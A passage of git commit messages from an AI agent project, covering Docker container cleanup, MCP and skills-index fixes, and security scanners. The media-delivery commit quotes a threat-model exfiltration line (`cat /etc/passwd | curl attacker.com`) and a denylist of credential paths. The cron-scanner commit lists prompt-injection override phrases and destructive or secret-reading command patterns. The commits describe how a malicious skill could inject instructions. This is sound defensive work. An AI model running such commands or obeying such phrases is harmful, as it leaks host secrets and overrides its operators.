parses ``State.FinishedAt`` (with nanosecond-precision trimming for
Python's microsecond-bound ``fromisoformat``); containers older than
the threshold get ``docker rm -f``'d. The ``status=exited`` filter is
load-bearing — a running container may belong to a sibling Hermes
process whose reuse path will pick it up; killing it would crash the
sibling mid-command. Single-container failures are logged and the
sweep continues to the next candidate.
* New ``_maybe_reap_docker_orphans()`` helper in
``tools/terminal_tool.py``. Wired into ``_create_environment()`` for
``env_type == "docker"``. Gated by:
- ``terminal.docker_orphan_reaper: true`` (default; opt-out for
operators running multiple Hermes processes in the same profile
who don't trust the conservative defaults)
- ``_docker_orphan_reaper_ran`` module flag with double-checked
locking — parallel subagents and RL rollouts don't trigger N
concurrent docker ps storms
- Age threshold = ``2 × TERMINAL_LIFETIME_SECONDS`` with a 60s floor
(so ``TERMINAL_LIFETIME_SECONDS=0`` doesn't race the user's own
setup)
- Profile scoping — a research profile NEVER reaps the default
profile's stragglers
- Exception swallow — a janitor failure must never block container
creation
* New config ``terminal.docker_orphan_reaper`` wired through all four
config-bridge sites (cli.py, gateway/run.py, hermes_cli/config.py,
tests/conftest.py) and pinned by
``test_docker_orphan_reaper_is_bridged_everywhere``.
Coverage:
* 9 new unit tests in test_docker_environment.py — happy path, recent-
container sparing, profile scoping, unparseable-timestamp safety,
docker-ps-failure handling, partial-failure continuation, nanosecond
timestamp parsing, zero-value FinishedAt rejection.
* 6 new integration tests in test_docker_orphan_reaper_integration.py
— once-per-process gate, disable-flag respected, lifetime doubling
with 60s floor, current-profile filter wiring, exception swallow.
* 1 new bridge-invariant regression test.
Closes#20561 (combined with the two prior commits on this branch).
The Docker backend docs claim "Single persistent container — ONE long-
lived container shared across sessions, /new, /reset, and delegate_task
subagents. Stopped/removed on shutdown." In practice the code only
honored that contract within a single Python process via the in-memory
\`_active_environments[task_id]\` cache. Every \`hermes chat\` invocation
spawned a fresh \`hermes-<hex>\` container; older containers piled up in
\`Exited\` state and accumulated until manual \`docker rm\` (issue #20561).
Three root causes, all addressed by this commit:
1. No cross-process container discovery.
2. \`cleanup()\` used fire-and-forget \`subprocess.Popen("... &", shell=True)\`
which raced with parent-process exit — when Python exited promptly the
detached shell child got killed mid-\`docker stop\`, leaving stopped
containers behind.
3. The \`docker rm\` step in cleanup was gated on \`not self._persistent\`
(the bind-mount-persistence flag). Default config sets
\`container_persistent: true\`, so the default happy path skipped \`rm\`
entirely — even when the user explicitly didn't want cross-process
reuse, containers leaked.
Fix:
* Add \`DockerEnvironment.__init__(persist_across_processes=True)\`. When
true, init probes
\`docker ps -a --filter label=hermes-agent=1
--filter label=hermes-task-id=<task>
--filter label=hermes-profile=<profile>\`
and reuses a matching container (running → attach; stopped →
\`docker start\` → attach; \`docker start\` failure → fall through to a
fresh \`docker run\`). Multiple matches prefer the running one, with the
stragglers left for the orphan reaper (next commit) to clean up.
* Rewrite \`cleanup()\`. Uses \`subprocess.run(..., timeout=30)\` on a
daemon \`threading.Thread\`, not the racy \`Popen(... &)\`. The
\`_persistent\` guard is dropped on the \`rm\` step — \`rm\` now runs
whenever \`persist_across_processes\` is false, regardless of the
bind-mount-persistence setting. The leak class is gone in all
combinations.
* Add \`wait_for_cleanup(timeout)\`. \`tools/terminal_tool.py\`'s atexit
hook calls this on every active env, blocking up to 15s for the
cleanup thread before interpreter exit. Without this, \`hermes /quit\`
raced the daemon-thread teardown and dropped the stop/rm work.
* New config \`terminal.docker_persist_across_processes\` (default
\`true\` — restores the documented contract). Set \`false\` for hard
per-process isolation. Wired through all four config-bridge sites
(cli.py env_mappings, gateway/run.py _terminal_env_map,
hermes_cli/config.py _config_to_env_sync, tests/conftest.py env-strip
list); regression-pinned by
\`test_docker_persist_across_processes_is_bridged_everywhere\` matching
the existing pattern for docker_run_as_host_user / docker_env.
Reuse intentionally does NOT compare image / mounts / resources — only
the labels. Operators changing those settings should set
\`docker_persist_across_processes: false\` (or \`docker rm -f\` the
labeled container) to force a fresh start. This keeps the probe cheap
and the failure mode obvious.
Coverage: 12 new unit tests in tests/tools/test_docker_environment.py
covering reuse paths (running, stopped, fallback, opt-out, duplicate
preference) and cleanup behavior (persist-mode no-rm, opt-out always-rm,
no-Popen, wait_for_cleanup semantics, partial-init safety). Plus one
config-bridge regression pin.
Refs #20561
Issue #20561 (Docker containers accumulate) needs a way to identify
hermes-created containers from the outside — both for the orphan reaper
(a follow-up commit) and for operators triaging `docker ps -a | grep
hermes-` after a SIGKILL leaves stragglers. The previous `hermes-<hex>`
name prefix was the only signal, which broke down under cross-process
reuse (planned) and against any custom `--name` someone might pass via
`docker_extra_args`.
This commit adds three labels at `docker run` time:
--label hermes-agent=1 # global sweep target
--label hermes-task-id=<sanitized> # per-task reuse key
--label hermes-profile=<sanitized> # per-profile isolation key
Values are sanitized to `[A-Za-z0-9_.-]` and truncated to 63 chars so the
label round-trips cleanly through `docker ps --filter label=key=value`.
Empty or non-string inputs collapse to "unknown" rather than producing
an unqueryable empty value.
No behavior change: the labels are pure metadata. The follow-up commits
in this PR (cleanup-fix + orphan reaper) are what use them.
Refs #20561
When the Hermes Docker image runs an stdio MCP server configured with an
explicit env.PATH that omits /usr/local/bin (a common pattern when users
hand-author PATH for sandboxing), the MCP env-filter passes that narrow
PATH straight through to the subprocess. _resolve_stdio_command's
fallback for bare 'npx' / 'npm' / 'node' commands only checked
$HERMES_HOME/node/bin/ and ~/.local/bin/, so execvp() failed with
'[Errno 2] No such file or directory: npx' on every Node-based stdio
MCP server (Railway, Anthropic, GitHub Copilot, etc.).
The naive workaround — symlink /usr/local/bin/npx into the user's PATH —
fails one layer deeper because npx's shebang re-execs /usr/bin/env node
and node also lives at /usr/local/bin/node.
Fix: add /usr/local/bin/<cmd> as a third candidate in the fallback list.
This is the canonical install location for Node on:
- Linux from-source builds
- the upstream node:bookworm-slim image, which the Hermes Docker
image copies node + npm + corepack from since #4977 (the Node 22 LTS
refactor that exposed this)
- macOS Homebrew on Intel
Because the resolver already calls _prepend_path(resolved_env, command_dir)
after locating the command, /usr/local/bin gets prepended to the env's
PATH automatically, which also fixes the second-layer shebang failure
(npx-cli.js can now find node).
Scope is intentionally narrow: the fix activates only when the bare
command isn't otherwise locatable through the user's PATH. Users who
explicitly narrowed PATH for a non-Node MCP server see no change in
behavior.
Tested:
- tests/tools/test_mcp_tool_issue_948.py: new test
test_resolve_stdio_command_falls_back_to_usr_local_bin (mirrors the
existing hermes-node-bin fallback test)
- Full MCP test suite: 254/254 pass across 7 test files
- E2E against a freshly-built Docker image: reproduced the original
failure mode (env.PATH=/opt/data/bin:/usr/bin:/bin), confirmed the
resolver returns /usr/local/bin/npx and prepends /usr/local/bin to
PATH; subprocess.run of the resolved command prints '10.9.8' and
exits 0 with empty stderr
- Negative E2E on the host (where Node is already on PATH via mise):
resolver still hits the mise install dir, /usr/local/bin candidate
is not consulted, PATH is unchanged
PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.
Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.
Default flipped to denylist-only:
• /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
• $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
• macOS Library/Keychains
• $HERMES_HOME/{.env, auth.json, credentials}
The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.
• `gateway/platforms/base.py` — `validate_media_delivery_path()`
short-circuits to "return resolved if not under denylist" when
strict is off. Strict mode preserves the original cache-then-
allowlist-then-recency logic. New `_media_delivery_strict_mode()`
reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
DEFAULT_CONFIG; existing keys documented as "only consulted in
strict mode." No `_config_version` bump needed (deep-merge picks
up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
`HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
with 8 cases covering the public default (stale .md accepted, any
extension delivers, credential paths still blocked, strict env-var
aliases, filter E2E).
Validation:
- tests/gateway/test_platform_base.py: 119/119 pass
- tests/gateway/test_tts_media_routing.py: 7/7 pass
- tests/tools/test_send_message_tool.py: 121/121 pass
- tests/hermes_cli/test_kanban_notify.py: 12/12 pass
- tests/cron/test_scheduler.py: 120/120 pass
- E2E via execute_code with real imports:
• stale .md outside allowlist → accepted (default)
• same path with STRICT=1 → rejected
• $HOME/.ssh/id_rsa → rejected (default)
• filter_local_delivery_paths([md, key]) → [md] only
• gateway.strict in config.yaml → bridged to env (true=1, false=0)
The skills.sh source was returning ~858 unique skills from a hardcoded
list of 28 popular keyword searches (each capped at 50 results). The
real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from
the site's sitemap index.
Switch the empty-query path in SkillsShSource.search() to walk the
sitemap instead of scraping the homepage's curated featured strip.
Falls back to the homepage scrape if the sitemap is unreachable.
build_skills_index.crawl_skills_sh() now just calls search("", limit=0)
instead of running 28 keyword searches — same result in one HTTP round
instead of 28.
Also handle a httpx + brotlicffi interaction: the per-skill sitemaps
are ~900 KB brotli-compressed and the cffi backend's streaming decode
chokes on them. Forcing Accept-Encoding to gzip dodges the bug without
requiring a brotli library upgrade.
E2E against live skills.sh: 19,932 unique skills walked in 0.7s.
Tests: 137 pass (+1 new regression test exercising the sitemap path).
Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future
regression hard-fails the build.
The web_crawl_tool() function was an orphan — no model schema registered
it, no skill or CLI command called it, and the agent had no way to invoke
it. PR #32608 proposed wiring it up as a model-callable tool; we've
decided not to expose crawl as a separate capability since web_search +
web_extract cover the use cases we want models to have.
Removed:
- tools/web_tools.py: web_crawl_tool() (~230 LOC)
- plugins/web/firecrawl/provider.py: supports_crawl() + crawl()
- plugins/web/tavily/provider.py: supports_crawl() + crawl()
- plugins/web/xai/provider.py: supports_crawl() override
- agent/web_search_provider.py: supports_crawl() + crawl() ABC methods
- agent/web_search_registry.py: get_active_crawl_provider() +
the 'crawl' branch in _resolve()
- agent/display.py: web_crawl tool-progress rendering
- hermes_cli/config.py: 'web_crawl' from TAVILY_API_KEY.tools
- tools/website_policy.py: stale comment reference
- Tests: removed TestWebCrawlTavily class, the two website-policy
web_crawl tests, the searxng/ddgs/brave-free crawl-error tests,
the integration test_web_crawl method, and the
test_unconfigured_crawl_emits_top_level_error test. Trimmed the
capability-flag parametrize list and the WebSearchProvider ABC
conformance tests.
- Docs: trimmed the Crawl column from capability tables in both EN
and zh-Hans, updated the developer-guide ABC table.
Net: 25 files, +115/-1067.
Closes#33762 (the schema-text bug only existed if #32608 landed).
Supersedes #32608.
Extends @liuhao1024's escape-normalized fix so the patch tool also
recovers when old_string carries a real tab byte and matches via the
`exact` strategy — which is the headline reproduction in the issue and
the most common case in practice (LLMs frequently get old_string right
because they re-read the file, but still serialize new_string's tabs as
two-character `\t`).
Instead of gating on the match strategy, decide per-sequence by looking
at the *matched region of the file*: only convert `\t` -> tab and
`\r` -> CR when the file region we're replacing actually contains the
corresponding control byte. That mirrors the region-based heuristic in
`_detect_escape_drift` and keeps legitimate writes of the literal
two-character string `"\t"` (e.g. patching `sep = "\t"` in Python
source) untouched — those files have a backslash+t in the matched
region, not a real tab, so new_string passes through verbatim. `\n` is
still excluded because newlines serialize correctly through JSON and
unescaping would corrupt source escape sequences far more often than
help.
E2E verified against the live `patch` tool: tab-indented file + literal
`\t` in new_string under both `exact` (Variant 1) and `escape_normalized`
(Variant 2) strategies now produces real tab bytes; a Python source line
containing `sep = "\t"` (legitimate literal backslash-t) survives a
patch unchanged.
Tests updated to cover both strategies and the legitimate-literal case,
and to assert that `\n` is intentionally preserved.
Refs #33733
When the patch tool matches via the escape_normalized strategy, old_string
contains literal \t, \n, \r sequences that get unescaped to match real
control characters in the file. However, new_string was written as-is,
leaving literal backslash sequences in the output.
Add _unescape_common_sequences() helper and apply it to new_string when
the matching strategy is escape_normalized. This ensures LLM-generated
tab/newline sequences become real bytes in the patched file.
Fixes#33733
* fix(skills): pull full ClawHub catalog into the skills index
The website was showing 200 ClawHub skills out of 20k+ because
`ClawHubSource.search("")` for empty queries went straight to a single
unpaginated request. ClawHub's API caps any single page at 200 items and
returns a `nextCursor`; we grabbed page 1 and stopped, so the cached
index served from hermes-agent.nousresearch.com had a silent 99%
truncation.
End users never hit clawhub.ai directly (the index is rebuilt twice
daily by .github/workflows/skills-index.yml and served as a static JSON
on the docs site), so the cap-and-cache architecture is correct — it
just wasn't being filled.
Changes:
- `ClawHubSource.search(query="")` now routes through the existing
`_load_catalog_index()` paginating walker instead of the unpaginated
listing fallback (non-empty queries still hit the fast catalog search).
- `_load_catalog_index()` max_pages 50 → 250 (50k-skill ceiling; live
catalog is ~20k as of May 2026, with headroom for growth).
- `build_skills_index.py`: per-source crawl limits split out — ClawHub
and LobeHub get 100k, others keep their effective caps.
- `EXPECTED_FLOORS["clawhub"]` 50 → 5000 so the next pagination
regression hard-fails the CI build instead of silently shipping a
degenerate index.
Test plan:
- New unit test `test_search_empty_query_paginates_full_catalog`
exercises the cursor-following path with three mocked pages (450
total items) and asserts all pages are walked.
- Existing 9 ClawHub tests + 127 broader skills_hub tests all pass.
- E2E against live ClawHub API: walker reached 9700+ skills across 49
pages before this commit landed, paginating well past the previous
50-page cap.
* fix(skills): raise ClawHub ceilings — live catalog is 50k, not 20k
E2E walk against live ClawHub API hit my initial 250-page cap at 49,698
skills with cursor=yes still pending. The catalog is roughly 2.5x larger
than the docstring estimate.
- max_pages 250 → 750 (150k ceiling, walks terminate on cursor=None
well before this in practice)
- SOURCE_LIMITS['clawhub'] 100k → 200k
- EXPECTED_FLOORS['clawhub'] 5000 → 20000
Adds first-class `client_cert` / `client_key` config keys so MCP servers
behind mTLS work without an external TLS-terminating proxy. Resolves
inbound community question (Jeremy W.).
Schema (per `mcp_servers.<name>`, HTTP/SSE only):
- `client_cert: "/path/to/combined.pem"` — single PEM with cert + key
- `client_cert: "/path/to/cert"` + `client_key: "/path/to/key"` — separate
- `client_cert: [cert, key]` or `[cert, key, password]` — list form,
with optional passphrase for encrypted keys
Paths support `~` expansion. Missing files raise a server-scoped
`FileNotFoundError` at connect time rather than failing later with an
opaque TLS handshake error.
Wiring:
- New SDK HTTP path (mcp >= 1.24): `cert=` on the user-owned
`httpx.AsyncClient` alongside the existing `verify=` handling.
- SSE path: routed through an `httpx_client_factory` that wraps the
SDK's defaults (follow_redirects=True) and layers `verify` + `cert`
on top. The factory is only injected when needed, so the SDK's
built-in `create_mcp_http_client` keeps being used in the default
case.
- Deprecated mcp<1.24 path left untouched — that SDK's
`streamablehttp_client` signature doesn't expose `cert`, and adding
it would be dead code.
Also documents the previously-undocumented `ssl_verify` key (bool or
CA bundle path) in the MCP config reference.
Tests:
- `tests/tools/test_mcp_client_cert.py` (new, 19 tests):
- `_resolve_client_cert` helper: all three input forms, `~` expansion,
missing-file and validation errors.
- HTTP transport: `cert=` forwarded into `httpx.AsyncClient` for
string and tuple forms; absent when unset; missing-file error
propagates.
- SSE transport: factory only injected when cert or non-default
verify is set; factory applies cert, custom CA bundle, and
preserves `follow_redirects=True` + forwarded headers/auth.
- Existing tests: 200/200 in `test_mcp_tool.py` + `test_mcp_sse_transport.py`
still pass.
* docs(voice): use `uv pip install faster-whisper` in STT install hints
Three runtime messages told users to `pip install faster-whisper`
(reported in #29782 for the gateway STT failure message under
Telegram-in-Docker, where the user hit `bash: pip: command not
found`). The Hermes Docker image is built on `ghcr.io/astral-sh/uv`
with a uv-managed venv that doesn't ship `pip` on PATH; users on
modern `uv tool install` / `uv venv` installs see the same problem.
The canonical install command in this repo is `uv pip install`
(see `tools/lazy_deps.py:509` `feature_install_command()`), which
works in Docker (uv image), in `uv tool install` venvs, and in
pip-based venvs that already have uv on PATH.
Changed three locations to match:
- `gateway/run.py` — Telegram/Discord/Slack/WhatsApp/etc. voice
reply when no STT provider is configured. Suggests
`uv pip install faster-whisper` and notes that
`pip install faster-whisper` also works if `pip` is on PATH.
- `tools/voice_mode.py` — `/voice` status line for missing STT.
- `cli.py` — Voice-mode startup error, "Option 1".
No behavior change beyond the user-facing text. No production
code path was touched.
* docs(voice): add pip fallback to cli + voice_mode STT hints
Copilot flagged that cli.py and tools/voice_mode.py recommend
`uv pip install faster-whisper` without a fallback for environments
where uv isn't on PATH. The gateway/run.py message already lists
`pip install faster-whisper` as an alternative; this commit aligns
the two remaining call sites to match.
Addresses inline Copilot review on #29800.
---------
Co-authored-by: briandevans <252620095+briandevans@users.noreply.github.com>
fal announced Krea 2 day-0 as an official API partner on 2026-05-27.
Add both variants to the FAL_MODELS catalog so they appear in the
'hermes tools' model picker alongside flux-2, gpt-image, nano-banana,
etc. Users who already bill through FAL or Nous Portal subscription
can now use Krea without registering directly with Krea.
Model IDs (as listed in fal's launch announcement):
fal-ai/krea/v2/medium/text-to-image — $0.030 / image
fal-ai/krea/v2/large/text-to-image — $0.060 / image
Both share the same parameter schema:
- aspect_ratio (1:1, 4:3, 3:2, 16:9, 2.35:1, 4:5, 2:3, 9:16)
mapped from our 3 abstract ratios via size_style='aspect_ratio'
- creativity (raw|low|medium|high; default medium)
- seed (reproducibility)
- image_style_references (up to 10 per Krea's API spec)
No num_inference_steps / guidance_scale / num_images — Krea 2 does
not expose those, and the supports-set filter strips them defensively
if the agent ever passes them.
This is the FAL-routed variant. The separate native-Krea-API plugin
shipped in PR #33236 (plugins/image_gen/krea/) remains available for
users who want to bill directly through Krea's API with their own
key. Both routes converge on the same underlying model.
Nous Portal managed-FAL gateway: this commit makes the model IDs
known to the catalog and the picker. The Portal team will need to
allowlist these two endpoint slugs on the fal-queue origin server-side
for them to flow through the managed billing path.
Self-review follow-ups on the salvage of #33177 + #33188 + #33209:
W3 (real, lock_path.write_text was non-atomic AND the read path silently
resets data to an empty installed dict on JSONDecodeError — a crash mid-
write could nuke ALL hub provenance, not just official-optional). Switch
to the same mkstemp + fsync + atomic_replace pattern that _write_manifest
already uses in this module.
W5 (dead code) — _validate_category_name had one caller on origin/main
(install_from_quarantine), swapped to _validate_install_parent_path by
#33177. Remove the now-unused definition to avoid the attractive-nuisance
of contributors picking the wrong validator.
Behavior preserved on the happy path; verified all 200 skills/hub tests
plus the three E2E scenarios (destructive restore, backfill idempotency,
adversarial nonexistent skill) still pass after both fixes.
Background processes whose command contains `gh pr view --json
statusCheckRollup` or `gh pr checks | jq` now get a runtime hint in
the result pointing at the canonical green-ci-policy snippets. The
homebrew shape has caused at least seven silent CI-watcher failures
in the past two weeks (#31329, #31448, #31695, #31709, #31745,
#32264, #33131) — each one a different jq/awk/grep variation of the
same fundamental problem (stdout buffering, jq null-key edge cases,
conclusion-vs-status confusion, TTY-only banner grepping).
The skill that documents this anti-pattern is excellent, but a skill
only fires if the agent loads it. The tool surface fires on every
misuse. This is the embed-footguns-in-tool-surface pattern from
PR #31289 applied to a recurring failure mode that's outgrown
skill-only enforcement.
Detector is deliberately narrow — flags two specific shapes:
1. Any command containing `statusCheckRollup` (the JSON-API path —
conclusion vs status field semantics keep burning us).
2. `gh pr view` / `gh pr checks` combined with `jq` (gh pr
checks doesn't emit JSON, so any `| jq` here is confused intent;
the canonical column-2 poller uses awk-on-tabs, not jq).
Does NOT flag the blessed column-2 awk-on-tabs poller (which uses
`awk -F"\t" "\==\"pending\""`) or the exit-code-driven
`gh pr checks $PR >/dev/null` snippet.
Hint composes with the existing background-without-notify_on_complete
hint — both can fire on the same call. Each is independently
actionable.
Tests:
- 4 new cases in tests/tools/test_notify_on_complete.py
- test_homebrew_ci_poller_via_statusCheckRollup_emits_hint (positive)
- test_homebrew_ci_poller_via_gh_pr_checks_piped_to_jq_emits_hint (positive)
- test_canonical_column2_awk_poller_does_not_emit_homebrew_hint (negative)
- test_canonical_gh_pr_checks_exit_code_loop_does_not_emit_hint (negative)
- test_non_ci_background_command_does_not_emit_homebrew_hint (negative)
- 30/30 passing (was 26)
* remove Vercel AI Gateway provider and Vercel Sandbox terminal backend
Both Vercel-hosted integrations are removed end-to-end. Users on the AI
Gateway should switch to OpenRouter or one of the other aggregators
(Nous Portal, Kilo Code). Users on the Vercel Sandbox backend should
switch to Docker, Modal, Daytona, or SSH.
What's removed:
- `plugins/model-providers/ai-gateway/` provider plugin
- `hermes_cli/vercel_auth.py` Vercel-Sandbox auth helper
- `tools/environments/vercel_sandbox.py` terminal backend
- `ai-gateway` provider wiring across auth, doctor, setup, models,
config, status, providers, main, web_server, model_normalize, dump
- `vercel_sandbox` backend wiring across terminal_tool, file_tools,
code_execution_tool, file_operations, approval, skills_tool,
environments/local, credential_files, lazy_deps, prompt_builder,
cli, gateway/run
- `AI_GATEWAY_BASE_URL` constant, `_AI_GATEWAY_HEADERS` auxiliary-client
header set, run_agent base-URL header/reasoning special-cases
- `[vercel]` pyproject extra and `vercel`/`vercel-workers` from uv.lock
- env vars: `AI_GATEWAY_API_KEY`, `AI_GATEWAY_BASE_URL`, `VERCEL_TOKEN`,
`VERCEL_PROJECT_ID`, `VERCEL_TEAM_ID`, `VERCEL_OIDC_TOKEN`,
`TERMINAL_VERCEL_RUNTIME`
- Tests: deletes test_ai_gateway_models.py and
test_vercel_sandbox_environment.py; scrubs references across 23
surviving test files (no entire tests deleted unless they were
dedicated to AI Gateway / Sandbox)
- Docs: provider tables, env-var reference, setup guides, security
notes, tool config, terminal-backend tables — English plus zh-Hans
i18n parity
- `hermes-agent` skill: provider table entry and remote-backend list
What stays (intentional):
- `popular-web-designs/templates/vercel.md` — CSS design reference,
unrelated to Vercel-the-AI-product
- `x-vercel-id` in `stream_diag.py` headers — generic Vercel CDN
response header, useful diag signal on any Vercel-hosted endpoint
- `vercel-labs/agent-browser` URL in browser config — lightpanda
browser project, different OSS effort
- `userStories.json` historical contributor entry mentioning Vercel
Sandbox — archive, not active docs
Validation:
- 1153 tests in the 22 targeted files pass (`scripts/run_tests.sh`)
- Full repo `py_compile` clean
- Live import of every touched module + invariant check (no
`ai-gateway` in `PROVIDER_REGISTRY`, no `_AI_GATEWAY_HEADERS`, no
`vercel_sandbox` in `_REMOTE_TERMINAL_BACKENDS`)
* test: convert profile-count check from change-detector to invariant
The hardcoded "== 34" assertion broke when ai-gateway was removed.
Per AGENTS.md change-detector-test guidance, assert the relationship
(registry count >= number of plugin dirs) instead of a literal count.
Counts shift when providers are added/removed; that's expected.
Grok models (and other LLMs) sometimes omit the schedule parameter
when calling the cronjob tool with action=create because the schema
only listed 'action' in required[] and the schedule description did
not explicitly state it was mandatory (issue #32427).
Fix: update schema descriptions to clearly state schedule is REQUIRED
for action=create, making this explicit for models that rely on
description text for parameter compliance.
Fixes#32427
Follow-up on top of @TheOnlyMika's #32155 cherry-pick. The defusedxml
hardening import was unconditional, which would break the gateway for
anyone running a WeComCallback adapter without the (transitive-only)
defusedxml present.
- Wrap the import in the same try/except pattern as aiohttp/httpx in
the same file. Sets DEFUSEDXML_AVAILABLE flag.
- Extend check_wecom_callback_requirements() to gate on the flag, so
the gateway logs the actual missing dep and skips the adapter
instead of crashing.
- Add [wecom] extra to pyproject.toml with defusedxml==0.7.1.
- Register platform.wecom_callback in tools/lazy_deps.py so users get
prompted to install it on first WeComCallback configuration, same
pattern as discord/slack/matrix.
defusedxml is still the right call for pre-auth XML parsing — this
commit just makes the dep declarative and recoverable instead of a
hard import-time crash.
The Skills Hub page was stuck on a stale Feb 25 snapshot, showing only Built-in
+ Optional + Anthropic + LobeHub. The unified index already has 2078 skills
from skills.sh / ClawHub / LobeHub / GitHub taps / Claude Marketplace, and
BrowseShSource adds another ~330 — none of it was reaching the page.
Changes:
- website/scripts/extract-skills.py: read website/static/api/skills-index.json
(the unified multi-source catalog, rebuilt twice daily) as the canonical
external source. Keep the legacy skills/index-cache/ fallback for offline
builds. Add friendly per-source labels (skills.sh, ClawHub, browse.sh,
OpenAI, HuggingFace, Anthropic, LobeHub, etc.) and per-entry installCmd.
- website/src/pages/skills/index.tsx: add source pills + ordering for the 11
new sources; render installCmd from the index entry.
- website/scripts/prebuild.mjs: when no local skills-index.json exists, fetch
the live one from hermes-agent.nousresearch.com so local 'npm run build'
matches production without burning GitHub API quota.
- scripts/build_skills_index.py: crawl BrowseShSource so browse.sh entries
land in the unified index. Adjust source_order.
- tools/skills_hub.py: GitHubSource.DEFAULT_TAPS — openai/skills moved its
skills into skills/.curated/ and skills/.system/, so add both as explicit
taps (the listing code skips dotted dirs by design). Drop
VoltAgent/awesome-agent-skills (README-only, no SKILL.md files) and
MiniMax-AI/cli (singular skill, not a tap directory). Net effect: github
source jumps from 83 → 143 skills, with OpenAI properly included.
- .github/workflows/deploy-site.yml: build the unified index BEFORE running
extract-skills.py — previous order meant extract-skills always fell back
to the legacy cache. Drop the 'skip if file exists' guard; the file is
gitignored and must be rebuilt every deploy.
- .github/workflows/skills-index.yml: drop the broken 'deploy-with-index'
job (it cp'd 'landingpage/\*' which no longer exists, failing every cron
run since the landingpage move). Replace it with a workflow_dispatch
trigger of deploy-site.yml so the index refresh still reaches production
on schedule.
- website/docs/user-guide/features/skills.md: drop VoltAgent from the
default-taps doc list to match the code.
Before: 695 skills (Built-in 90, Optional 84, Anthropic 16, LobeHub 505).
After: 2168 skills across 9 source pills, including the 1212 skills.sh
entries the user expected to see.
The runtime cron prompt scanner (added in #3968 to plug the
"malicious skill carrying an injection payload" gap) reuses the same
critical-severity patterns as the create-time user-prompt scan against
the *assembled* prompt — which includes loaded skill markdown.
That works fine for narrow patterns like "ignore previous instructions"
which never legitimately appear in prose. It catastrophically false-
positives on command-shape patterns like `cat ~/.hermes/.env`,
`authorized_keys`, `/etc/sudoers`, and `rm -rf /`, which routinely
appear in security postmortems and runbooks as **descriptive prose**
about attacks, not as actual commands.
Concrete failure: the bundled `hermes-agent-dev` skill contains a
security postmortem section saying "the attacker could just
`cat ~/.hermes/.env`". Every PR-scout cron job that loaded this skill
was silently blocked with `Blocked: prompt matches threat pattern
'read_secrets'`. All 11 scout jobs failed for weeks.
Fix: split the scanner into two tiers and route by context:
- `_scan_cron_prompt` (strict, unchanged behavior) runs against
the small user-authored cron prompt at create/update and as a
runtime defense-in-depth when no skills are attached. A legit
user prompt has no business saying `cat .env`, so the strict
patterns still apply there.
- `_scan_cron_skill_assembled` (new, looser) runs against the
assembled prompt when skills are attached. It only catches
unambiguous prompt-injection directives ("ignore previous
instructions", "disregard your rules", "system prompt override",
"do not tell the user") plus invisible-unicode markers. Command-
shape patterns are dropped because they false-positive on prose.
This is defense-in-depth, not the only line of defense. Skill bodies
are already scanned at install time by `skills_guard.py`; the runtime
cron scan exists purely as a tripwire for an obvious injection
directive surviving a malicious install. Catching prose mentions of
commands was never the goal of #3968 — the test that planted a skill
containing `cat ~/.hermes/.env` was the wrong shape of test for the
threat model.
Tests:
- `_scan_cron_prompt` strict behavior preserved (56 existing tests
unchanged: bare `cat .env`, `rm -rf /`, etc. still block).
- New `TestScanCronSkillAssembled` class verifies the looser scanner:
injection / disregard / system-override / do-not-tell-the-user /
invisible-unicode still block; descriptive prose about attack
commands is allowed; GitHub auth-header allowlist still works.
- `test_skill_with_env_exfil_payload_raises` (planted `cat .env`
in skill body) replaced with `test_skill_with_env_exfil_command
_in_prose_is_allowed` documenting the new correct behavior with
the real-world postmortem-style example that triggered the bug.
- All 11 originally-failing PR-scout jobs validated end-to-end via
`_build_job_prompt` — assembled prompts now build successfully
with the `hermes-agent-dev` skill attached.
Total: 75/75 tests in cron + cronjob_tools + threat scanner pass;
544/544 across the wider cron / memory / threat-pattern surface.
Three granular patch-tool refinements from the Roo Code deep-dive (#507).
## Indentation preservation (fuzzy_match.py)
When fuzzy_find_and_replace matches via a non-exact strategy, the file's
indentation may differ from what the LLM sent in old_string/new_string
(common case: model sends zero-indent old/new for a method body that
lives inside an 8-space-indented class). Before this commit the
replacement was spliced in verbatim, producing a file with a broken
indent level that may still parse but is logically wrong.
The fix computes the indent delta between old_string's first meaningful
line and the matched region's first meaningful line, then re-indents
every line of new_string by that delta. Exact-strategy matches are
untouched (passthrough). Same approach as Roo Code's
multi-search-replace.ts:466-500.
## CRLF preservation (file_operations.py)
Models nearly always send tool args with bare LF endings (JSON-encoded),
but the file on disk may have CRLF (Windows-line-ending configs, .bat,
.cmd, .ini files). Before this commit:
- write_file silently normalized CRLF to LF on every overwrite
- patch produced mixed-ending files: the substituted region had LF,
the surrounding context kept CRLF
The fix detects the file's existing line endings (via pre_content if
already read for lint/LSP, otherwise a tiny head -c 4096 probe), and
normalizes the entire write to that ending. New files are written
verbatim (no detection possible).
## Per-file failure escalation (file_tools.py)
When the agent fails to patch the same file 3+ times in a row, the
existing 'old_string not found' hint isn't strong enough — the model
keeps retrying with variations against a stale view of the file.
The fix tracks consecutive failures per (task_id, resolved_path) and
injects an escalating hint after 3 failures: 'This is failure #N
patching X. Stop retrying. Either re-read fresh, use longer context,
or fall back to write_file.' Counter resets on a successful patch to
the same path.
## Validation
- 22 new tests across tests/tools/test_fuzzy_match.py (5),
